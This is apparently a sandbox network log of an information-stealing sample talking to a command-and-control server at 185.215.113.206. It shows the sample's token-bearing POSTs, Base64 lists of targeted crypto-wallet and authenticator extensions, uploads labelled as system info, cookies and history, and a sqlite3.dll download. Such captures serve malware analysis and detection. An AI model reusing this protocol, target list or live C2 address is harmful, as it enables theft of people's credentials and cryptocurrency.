Oct 31, 2024 11:27:02.351078987 CET	469	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFHCAEGCBFHJDGCBFHDA Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 62 34 62 38 64 61 30 34 36 37 38 66 39 32 62 64 37 30 66 36 31 34 38 36 30 39 64 66 30 39 63 31 36 36 65 35 37 39 38 64 38 65 64 66 66 34 32 64 65 38 31 39 33 34 33 31 32 33 37 61 36 30 36 34 61 64 31 32 30 39 64 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 2d 2d 0d 0a Data Ascii: ------KFHCAEGCBFHJDGCBFHDAContent-Disposition: form-data; name="token"9b4b8da04678f92bd70f6148609df09c166e5798d8edff42de8193431237a6064ad1209d------KFHCAEGCBFHJDGCBFHDAContent-Disposition: form-data; name="message"plugins------KFHCAEGCBFHJDGCBFHDA--
Oct 31, 2024 11:27:02.629746914 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:27:02 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Oct 31, 2024 11:27:02.629774094 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Oct 31, 2024 11:27:02.629789114 CET	324	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Oct 31, 2024 11:27:02.629838943 CET	1236	IN	Data Raw: 56 47 56 36 51 6d 39 34 66 47 31 75 5a 6d 6c 6d 5a 57 5a 72 59 57 70 6e 62 32 5a 72 59 32 70 72 5a 57 31 70 5a 47 6c 68 5a 57 4e 76 59 32 35 72 61 6d 56 6f 66 44 46 38 4d 48 77 77 66 46 52 6c 62 58 42 73 5a 58 78 76 62 32 74 71 62 47 4a 72 61 57 Data Ascii: VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwfFRlbXBsZXxvb2tqbGJraWlqaW5ocG1uamZmY29mam9uYmZiZ2FvY3wxfDB8MHxHb2J5fGpua2VsZmFuamtlYWRvbmVjYWJlaGFsbWJncGZvZGptfDF8MHwwfFJvbmluIFdhbGxldHxram1vb2hsZ29rY2NvZGljampmZWJmb21sYmxqZ2Zoa3w
Oct 31, 2024 11:27:02.629884005 CET	1236	IN	Data Raw: 61 57 70 74 5a 32 35 73 62 57 70 6c 5a 57 64 71 59 57 64 73 62 57 56 77 59 6d 31 77 61 33 42 70 66 44 46 38 4d 48 77 77 66 46 52 79 5a 58 70 76 63 69 42 51 59 58 4e 7a 64 32 39 79 5a 43 42 4e 59 57 35 68 5a 32 56 79 66 47 6c 74 62 47 39 70 5a 6d Data Ascii: aWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J8YmhnaG9hbWFwY2RwYm9ocGhpZ29vb2FkZGlucGtiYWl8MXwwfDB8QXV0aHl8Z2FlZG1qZGZtbWFoaGJqZWZjYmdhb2xoaGFubGF
Oct 31, 2024 11:27:02.629904032 CET	1236	IN	Data Raw: 61 57 4a 73 61 33 77 77 66 44 42 38 4d 58 78 55 63 6e 56 7a 64 43 42 58 59 57 78 73 5a 58 52 38 5a 57 64 71 61 57 52 71 59 6e 42 6e 62 47 6c 6a 61 47 52 6a 62 32 35 6b 59 6d 4e 69 5a 47 35 69 5a 57 56 77 63 47 64 6b 63 47 68 38 4d 58 77 77 66 44 Data Ascii: aWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnBnbGljaGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWluYm93IFdhbGxldHxvcGZnZWxtY21iaWFqYW1lcG5tbG9pamJwb2xlaWFtYXwxfDB8MHxOaWdodGx
Oct 31, 2024 11:27:02.629915953 CET	840	IN	Data Raw: 62 57 70 69 59 6d 39 6e 5a 6d 6c 70 59 57 39 6d 63 47 68 69 61 6d 64 6a 61 47 68 38 4d 58 77 77 66 44 42 38 56 6d 56 75 62 32 30 67 56 32 46 73 62 47 56 30 66 47 39 71 5a 32 64 74 59 32 68 73 5a 32 68 75 61 6d 78 68 63 47 31 6d 59 6d 35 71 61 47 Data Ascii: bWpiYm9nZmlpYW9mcGhiamdjaGh8MXwwfDB8VmVub20gV2FsbGV0fG9qZ2dtY2hsZ2huamxhcG1mYm5qaG9sZmpraWlkYmNofDF8MHwwfFB1bHNlIFdhbGxldCBDaHJvbWl1bXxjaW9qb2Nwa2NsZmZsb21iYmNmaWdjaWpqY2JrbWhhZnwxfDB8MHxNYWdpYyBFZGVuIFdhbGxldHxta3BlZ2prYmxra2VmYWNmbm1rYWpjam1
Oct 31, 2024 11:27:02.632436037 CET	470	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBAFBGIDHCBFHIECFCBG Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 62 34 62 38 64 61 30 34 36 37 38 66 39 32 62 64 37 30 66 36 31 34 38 36 30 39 64 66 30 39 63 31 36 36 65 35 37 39 38 64 38 65 64 66 66 34 32 64 65 38 31 39 33 34 33 31 32 33 37 61 36 30 36 34 61 64 31 32 30 39 64 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 42 47 2d 2d 0d 0a Data Ascii: ------EBAFBGIDHCBFHIECFCBGContent-Disposition: form-data; name="token"9b4b8da04678f92bd70f6148609df09c166e5798d8edff42de8193431237a6064ad1209d------EBAFBGIDHCBFHIECFCBGContent-Disposition: form-data; name="message"fplugins------EBAFBGIDHCBFHIECFCBG--
Oct 31, 2024 11:27:02.909641981 CET	335	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:27:02 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Oct 31, 2024 11:27:02.926753998 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFHDHCAAKECFIDHIEBAK Host: 185.215.113.206 Content-Length: 6255 Connection: Keep-Alive Cache-Control: no-cache
Oct 31, 2024 11:27:02.926804066 CET	6255	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 41 46 48 44 48 43 41 41 4b 45 43 46 49 44 48 49 45 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 62 34 62 38 64 Data Ascii: ------AFHDHCAAKECFIDHIEBAKContent-Disposition: form-data; name="token"9b4b8da04678f92bd70f6148609df09c166e5798d8edff42de8193431237a6064ad1209d------AFHDHCAAKECFIDHIEBAKContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Oct 31, 2024 11:27:03.726999998 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:27:03 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 31, 2024 11:27:04.012847900 CET	94	OUT	GET /746f34465cf17784/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 31, 2024 11:27:04.288595915 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:27:04 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Oct 31, 2024 11:27:04.288621902 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49757	185.215.113.206	80	6692	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 11:27:14.791109085 CET	202	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDBFHCGCGDAAKFIECFHD Host: 185.215.113.206 Content-Length: 991 Connection: Keep-Alive Cache-Control: no-cache
Oct 31, 2024 11:27:14.791145086 CET	991	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 49 44 42 46 48 43 47 43 47 44 41 41 4b 46 49 45 43 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 62 34 62 38 64 Data Ascii: ------IDBFHCGCGDAAKFIECFHDContent-Disposition: form-data; name="token"9b4b8da04678f92bd70f6148609df09c166e5798d8edff42de8193431237a6064ad1209d------IDBFHCGCGDAAKFIECFHDContent-Disposition: form-data; name="file_name"Y29va2llc1xHb
Oct 31, 2024 11:27:16.201395035 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:27:15 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 31, 2024 11:27:16.650161028 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAKKJKKECFIDGDHIJEGD Host: 185.215.113.206 Content-Length: 1451 Connection: Keep-Alive Cache-Control: no-cache
Oct 31, 2024 11:27:16.650366068 CET	1451	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 41 4b 4b 4a 4b 4b 45 43 46 49 44 47 44 48 49 4a 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 62 34 62 38 64 Data Ascii: ------CAKKJKKECFIDGDHIJEGDContent-Disposition: form-data; name="token"9b4b8da04678f92bd70f6148609df09c166e5798d8edff42de8193431237a6064ad1209d------CAKKJKKECFIDGDHIJEGDContent-Disposition: form-data; name="file_name"aGlzdG9yeVxHb
Oct 31, 2024 11:27:17.425276995 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:27:16 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 31, 2024 11:27:17.444495916 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFIJEGCBGIDGHIDHDGCB Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 49 4a 45 47 43 42 47 49 44 47 48 49 44 48 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 62 34 62 38 64 61 30 34 36 37 38 66 39 32 62 64 37 30 66 36 31 34 38 36 30 39 64 66 30 39 63 31 36 36 65 35 37 39 38 64 38 65 64 66 66 34 32 64 65 38 31 39 33 34 33 31 32 33 37 61 36 30 36 34 61 64 31 32 30 39 64 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 4a 45 47 43 42 47 49 44 47 48 49 44 48 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 4a 45 47 43 42 47 49 44 47 48 49 44 48 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------KFIJEGCBGIDGHIDHDGCBContent-Disposition: form-data; name="token"9b4b8da04678f92bd70f6148609df09c166e5798d8edff42de8193431237a6064ad1209d------KFIJEGCBGIDGHIDHDGCBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KFIJEGCBGIDGHIDHDGCBContent-Disposition: form-data; name="file"------KFIJEGCBGIDGHIDHDGCB--
Oct 31, 2024 11:27:18.221052885 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:27:17 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 31, 2024 11:27:19.306646109 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKFCFBAAEHCFHJJKEHJK Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 46 43 46 42 41 41 45 48 43 46 48 4a 4a 4b 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 62 34 62 38 64 61 30 34 36 37 38 66 39 32 62 64 37 30 66 36 31 34 38 36 30 39 64 66 30 39 63 31 36 36 65 35 37 39 38 64 38 65 64 66 66 34 32 64 65 38 31 39 33 34 33 31 32 33 37 61 36 30 36 34 61 64 31 32 30 39 64 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 46 43 46 42 41 41 45 48 43 46 48 4a 4a 4b 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 46 43 46 42 41 41 45 48 43 46 48 4a 4a 4b 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------AKFCFBAAEHCFHJJKEHJKContent-Disposition: form-data; name="token"9b4b8da04678f92bd70f6148609df09c166e5798d8edff42de8193431237a6064ad1209d------AKFCFBAAEHCFHJJKEHJKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AKFCFBAAEHCFHJJKEHJKContent-Disposition: form-data; name="file"------AKFCFBAAEHCFHJJKEHJK--
Oct 31, 2024 11:27:19.607620955 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKFCFBAAEHCFHJJKEHJK Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 46 43 46 42 41 41 45 48 43 46 48 4a 4a 4b 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 62 34 62 38 64 61 30 34 36 37 38 66 39 32 62 64 37 30 66 36 31 34 38 36 30 39 64 66 30 39 63 31 36 36 65 35 37 39 38 64 38 65 64 66 66 34 32 64 65 38 31 39 33 34 33 31 32 33 37 61 36 30 36 34 61 64 31 32 30 39 64 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 46 43 46 42 41 41 45 48 43 46 48 4a 4a 4b 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 46 43 46 42 41 41 45 48 43 46 48 4a 4a 4b 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------AKFCFBAAEHCFHJJKEHJKContent-Disposition: form-data; name="token"9b4b8da04678f92bd70f6148609df09c166e5798d8edff42de8193431237a6064ad1209d------AKFCFBAAEHCFHJJKEHJKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AKFCFBAAEHCFHJJKEHJKContent-Disposition: form-data; name="file"------AKFCFBAAEHCFHJJKEHJK--
Oct 31, 2024 11:27:20.217005968 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKFCFBAAEHCFHJJKEHJK Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 46 43 46 42 41 41 45 48 43 46 48 4a 4a 4b 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 62 34 62 38 64 61 30 34 36 37 38 66 39 32 62 64 37 30 66 36 31 34 38 36 30 39 64 66 30 39 63 31 36 36 65 35 37 39 38 64 38 65 64 66 66 34 32 64 65 38 31 39 33 34 33 31 32 33 37 61 36 30 36 34 61 64 31 32 30 39 64 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 46 43 46 42 41 41 45 48 43 46 48 4a 4a 4b 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 46 43 46 42 41 41 45 48 43 46 48 4a 4a 4b 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: 